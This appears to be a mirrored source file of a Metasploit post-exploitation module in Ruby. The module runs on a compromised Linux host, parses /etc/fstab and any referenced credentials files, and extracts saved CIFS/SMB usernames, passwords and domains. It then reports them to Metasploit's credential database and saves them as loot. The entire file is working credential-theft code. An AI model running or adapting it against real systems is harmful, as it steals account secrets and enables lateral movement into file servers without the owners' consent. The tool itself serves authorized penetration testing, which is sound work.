Mirror of metasploit
You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

mount_cifs_creds.rb 5.4KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186
  1. ##
  2. # This module requires Metasploit: http://metasploit.com/download
  3. # Current source: https://github.com/rapid7/metasploit-framework
  4. ##
  5. require 'msf/core'
  6. class MetasploitModule < Msf::Post
  7. include Msf::Post::File
  8. def initialize(info={})
  9. super( update_info( info,
  10. 'Name' => 'Linux Gather Saved mount.cifs/mount.smbfs Credentials',
  11. 'Description' => %q{
  12. Post Module to obtain credentials saved for mount.cifs/mount.smbfs in
  13. /etc/fstab on a Linux system.
  14. },
  15. 'License' => MSF_LICENSE,
  16. 'Author' => ['Jon Hart <jhart[at]spoofed.org>'],
  17. 'Platform' => ['linux'],
  18. 'SessionTypes' => ['shell', 'meterpreter']
  19. ))
  20. end
  21. def run
  22. # keep track of any of the credentials files we read so we only read them once
  23. cred_files = []
  24. # where we'll store hashes of found credentials while parsing. reporting is done at the end.
  25. creds = []
  26. # A table to store the found credentials for loot storage afterward
  27. cred_table = Rex::Text::Table.new(
  28. 'Header' => "mount.cifs credentials",
  29. 'Indent' => 1,
  30. 'Columns' =>
  31. [
  32. "Username",
  33. "Password",
  34. "Server",
  35. "File"
  36. ])
  37. # parse each line from /etc/fstab
  38. read_file("/etc/fstab").each_line do |fstab_line|
  39. fstab_line.strip!
  40. # where we'll store the current parsed credentials, if any
  41. cred = {}
  42. # if the fstab line utilizies the credentials= option, read the credentials from that file
  43. if (fstab_line =~ /\/\/([^\/]+)\/\S+\s+\S+\s+cifs\s+.*/)
  44. cred[:host] = $1
  45. # IPs can occur using the ip option, which is a backup/alternative
  46. # to letting UNC resolution do its thing
  47. cred[:host] = $1 if (fstab_line =~ /ip=([^, ]+)/)
  48. if (fstab_line =~ /cred(?:entials)?=([^, ]+)/)
  49. file = $1
  50. # skip if we've already parsed this credentials file
  51. next if (cred_files.include?(file))
  52. # store it if we haven't
  53. cred_files << file
  54. # parse the credentials
  55. cred.merge!(parse_credentials_file(file))
  56. # if the credentials are directly in /etc/fstab, parse them
  57. elsif (fstab_line =~ /\/\/([^\/]+)\/\S+\s+\S+\s+cifs\s+.*(?:user(?:name)?|pass(?:word)?)=/)
  58. cred.merge!(parse_fstab_credentials(fstab_line))
  59. end
  60. creds << cred
  61. end
  62. end
  63. # all done. clean up, report and loot.
  64. creds.flatten!
  65. creds.compact!
  66. creds.uniq!
  67. creds.each do |cred|
  68. if (Rex::Socket.dotted_ip?(cred[:host]))
  69. report_cred(
  70. ip: cred[:host],
  71. port: 445,
  72. service_name: 'smb',
  73. user: cred[:user],
  74. password: cred[:pass],
  75. proof: '/etc/fstab'
  76. )
  77. end
  78. cred_table << [ cred[:user], cred[:pass], cred[:host], cred[:file] ]
  79. end
  80. # store all found credentials
  81. unless (cred_table.rows.empty?)
  82. print_line("\n" + cred_table.to_s)
  83. p = store_loot(
  84. "mount.cifs.creds",
  85. "text/csv",
  86. session,
  87. cred_table.to_csv,
  88. "mount_cifs_credentials.txt",
  89. "mount.cifs credentials")
  90. print_status("CIFS credentials saved in: #{p.to_s}")
  91. end
  92. end
  93. def report_cred(opts)
  94. service_data = {
  95. address: opts[:ip],
  96. port: opts[:port],
  97. service_name: opts[:service_name],
  98. protocol: 'tcp',
  99. workspace_id: myworkspace_id
  100. }
  101. credential_data = {
  102. origin_type: :session,
  103. module_fullname: fullname,
  104. username: opts[:user],
  105. private_data: opts[:password],
  106. private_type: :password,
  107. session_id: session_db_id,
  108. post_reference_name: self.refname
  109. }.merge(service_data)
  110. login_data = {
  111. core: create_credential(credential_data),
  112. status: Metasploit::Model::Login::Status::UNTRIED,
  113. proof: opts[:proof]
  114. }.merge(service_data)
  115. create_credential_login(login_data)
  116. end
  117. # Parse mount.cifs credentials from +line+, assumed to be a line from /etc/fstab.
  118. # Returns the username+domain and password as a hash.
  119. def parse_fstab_credentials(line, file="/etc/fstab")
  120. creds = {}
  121. # get the username option, which comes in one of four ways
  122. user_opt = $1 if (line =~ /user(?:name)?=([^, ]+)/)
  123. case user_opt
  124. # domain/user%pass
  125. when /^([^\/]+)\/([^%]+)%(.*)$/
  126. creds[:user] = "#{$1}\\#{$2}"
  127. creds[:pass] = $3
  128. # domain/user
  129. when /^([^\/]+)\/([^%]+)$/
  130. creds[:user] = "#{$1}\\#{$2}"
  131. # user%password
  132. when /^([^%]+)%(.*)$/
  133. creds[:user] = $1
  134. creds[:pass] = $2
  135. # user
  136. else
  137. creds[:user] = user_opt
  138. end if (user_opt)
  139. # get the password option if any
  140. creds[:pass] = $1 if (line =~ /pass(?:word)?=([^, ]+)/)
  141. # get the domain option, if any
  142. creds[:user] = "#{$1}\\#{creds[:user]}" if (line =~ /dom(?:ain)?=([^, ]+)/)
  143. creds[:file] = file unless (creds.empty?)
  144. creds
  145. end
  146. # Parse mount.cifs credentials from +file+, returning the username+domain and password
  147. # as a hash.
  148. def parse_credentials_file(file)
  149. creds = {}
  150. domain = nil
  151. read_file(file).each_line do |credfile_line|
  152. case credfile_line
  153. when /domain=(.*)/
  154. domain = $1
  155. when /password=(.*)/
  156. creds[:pass] = $1
  157. when /username=(.*)/
  158. creds[:user] = $1
  159. end
  160. end
  161. # prepend the domain if one was found
  162. creds[:user] = "#{domain}\\#{creds[:user]}" if (domain and creds[:user])
  163. creds[:file] = file unless (creds.empty?)
  164. creds
  165. end
  166. end